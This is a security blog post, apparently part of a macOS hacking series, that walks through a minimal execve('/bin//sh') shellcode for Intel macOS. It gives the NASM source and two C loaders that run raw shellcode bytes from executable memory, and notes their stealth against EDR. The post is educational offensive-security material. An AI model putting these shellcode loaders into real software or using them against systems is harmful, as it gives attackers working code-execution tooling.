MacOS hacking part 7: Minimal Linux-style shellcode on macOS (Intel). Simple NASM (Intel) and C examples
﷽
Hello, cybersecurity enthusiasts and white hackers!
In this short post I’ll explore a minimalistic Linux-style shellcode that surprisingly works on modern macOS x86_64
(in my case Sonoma
):
Despite using execve("/bin//sh", NULL, NULL)
, which is technically non-compliant on macOS
, it launches a fully functional shell. Let’s dive in.
practical example
What is the main goal? Create a macOS shellcode that spawns /bin/sh
using the execve
syscall with no arguments or environment. We’ll write it in pure NASM and launch it via a simple C loader using mmap
.
We start by clearing eax
and edx
. This sets up registers with known zeroes and avoids using .data
or .bss
:
xor esi, esi ; zero out ESI
mul esi ; zero out RAX, RDX
Then, set syscall number:
bts eax, 25 ; set the 25th bit => eax = 0x02000000
mov al, 59 ; eax = 0x0200003b (execve syscall on macOS)
As you can see, we use bts
to set bit 25
in eax
. Then mov al, 59
sets the lower byte, making eax = 0x200003b
, which is execve
on macOS.
At the next step, we push the string directly onto the stack to avoid storing it in the .data
section. Double slashes are valid: /bin//sh
is equivalent to /bin/sh
:
push rsp ; push pointer to string
pop rdi ; rdi = "/bin//sh"
Set up registers for execve
like this:
push rsp ; push pointer to string
pop rdi ; rdi = "/bin//sh"
This gives us:
execve("/bin//sh", NULL, NULL)
Finally, trigger syscall:
syscall
If all goes well - we drop into a shell.
Important note about unexpected behavior: Although POSIX requires
argv != NULL
, and macOS traditionally crashes onexecve(..., NULL, ...)
, recent versions (Sonoma) appear to gracefully acceptNULL argv
, possibly coercing it to[filename, NULL]
. This is likely a compatibility or security-hardening adjustment.
So full NASM source code looks like this hack.asm
:
; hack.asm
; linux-style minimal shellcode
; author: @cocomelonc
; https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html
global start
section .text
start:
bits 64
xor esi, esi
mul esi
bts eax, 25
mov al, 59
mov rbx, '/bin//sh'
push rdx
push rbx
push rsp
pop rdi
syscall
demo
Let’s go to see this in action. Compile it:
nasm -f macho64 hack.asm -o hack.o
linking:
ld -arch x86_64 -macos_version_min 14.0 -e start -static -o hack hack.o
Then, run:
./hack
As you can see, everything works as expected.
practical example 2
What about C wrapper?
Try to run this shellcode via C. Run:
objdump -M intel -d hack
So, our C code looks like this (hack2.c
):
/*
* hack2.c
* run Linux-style minimal
* shellcode via mmap
* author: @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html
*/
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
unsigned char code[] =
/* 0000 */ "\x31\xf6" /* xor esi, esi */
/* 0002 */ "\xf7\xe6" /* mul esi */
/* 0004 */ "\x0f\xba\xe8\x19" /* bts eax, 0x19 */
/* 0008 */ "\xb0\x3b" /* mov al, 0x3b */
/* 000A */ "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* movabs rbx, 0x68732f2f6e69622f */
/* 0014 */ "\x52" /* push rdx */
/* 0015 */ "\x53" /* push rbx */
/* 0016 */ "\x54" /* push rsp */
/* 0017 */ "\x5f" /* pop rdi */
/* 0018 */ "\x0f\x05"; /* syscall */
int main() {
size_t pagesize = sysconf(_SC_PAGESIZE);
void *exec = mmap(0, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (exec == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec, code, sizeof(code));
((void(*)())exec)();
return 0;
}
demo 2
Compile it:
clang -o hack2 hack2.c
Finally, run it:
./hack2
It works! Great!
practical example 3 (shellcode execution using posix_memalign
+ mprotect
)
In this example I’ll explore another method of executing shellcode on macOS - using posix_memalign()
and mprotect()
instead of mmap()
. This method is subtle and cleaner in some cases, especially when working with memory-aligned regions, and avoids MAP_ANON
allocation.
What is posix_memalign
? The function:
posix_memalign(void **memptr, size_t alignment, size_t size)
allocates memory aligned on a specified boundary - perfect for page alignment (pagesize).
It’s great when:
You want manual control over memory alignment.
You prefer not to use mmap()
, which can be noisy or blocked in hardened environments.
You want to work with portable heap memory.
What about mprotect
? Memory allocated via malloc
or posix_memalign
is usually non-executable due to DEP (Data Execution Prevention)
.
To allow execution, we use:
mprotect(buf, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC);
This marks the memory region as executable.
Warning! To be honest,
mprotect()
might fail silently if System Integrity Protection (SIP) is enabled. Test in VM, debug mode, or hardened lab.
Here’s the full C code using posix_memalign
and mprotect
to execute our shellcode (hack3.c
):
/*
* hack3.c
* run via posix_memalign + mprotect
* author: @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/02/malware-mac-7.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
unsigned char code[] =
/* 0000 */ "\x31\xf6" /* xor esi, esi */
/* 0002 */ "\xf7\xe6" /* mul esi */
/* 0004 */ "\x0f\xba\xe8\x19" /* bts eax, 0x19 */
/* 0008 */ "\xb0\x3b" /* mov al, 0x3b */
/* 000A */ "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" /* movabs rbx, 0x68732f2f6e69622f */
/* 0014 */ "\x52" /* push rdx */
/* 0015 */ "\x53" /* push rbx */
/* 0016 */ "\x54" /* push rsp */
/* 0017 */ "\x5f" /* pop rdi */
/* 0018 */ "\x0f\x05" /* syscall */;
int main() {
size_t pagesize = sysconf(_SC_PAGESIZE);
void *buf = NULL;
// allocate page-aligned buffer
if (posix_memalign(&buf, pagesize, pagesize) != 0) {
perror("posix_memalign");
return 1;
}
memcpy(buf, code, sizeof(code));
// mark buffer as executable
if (mprotect(buf, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) {
perror("mprotect");
return 1;
}
// run shellcode
((void(*)())buf)();
// free(buf); // optional
return 0;
}
demo
Compilation:
clang -arch x86_64 -o hack3 hack3.c
Run:
./hack3
As you can see, it works! We got a /bin/sh
shell!
This method is clean and stealthy, especially for educational PoC on older or debug-enabled macOS systems. You avoid mmap()
syscalls, which might be detected by some EDRs, and gain better control over memory alignment.
But on newer macOS with SIP, even this might be blocked - so I think it only works in controlled labs or hardened VMs.
conclusion
This code shows that ultra-minimal Linux shellcode still works on macOS Sonoma, which is both surprising and educational.
This opens possibilities for stealthy payloads and training Red/Blue teams on cross-platform assumptions.
Want the same for ARM64 M1/M2 shellcode? It will be in the next posts of this macOS hacking series.
I hope this post is useful for malware researchers, macOS/Apple
security researchers, ASM
programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
macOS hacking part 6
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine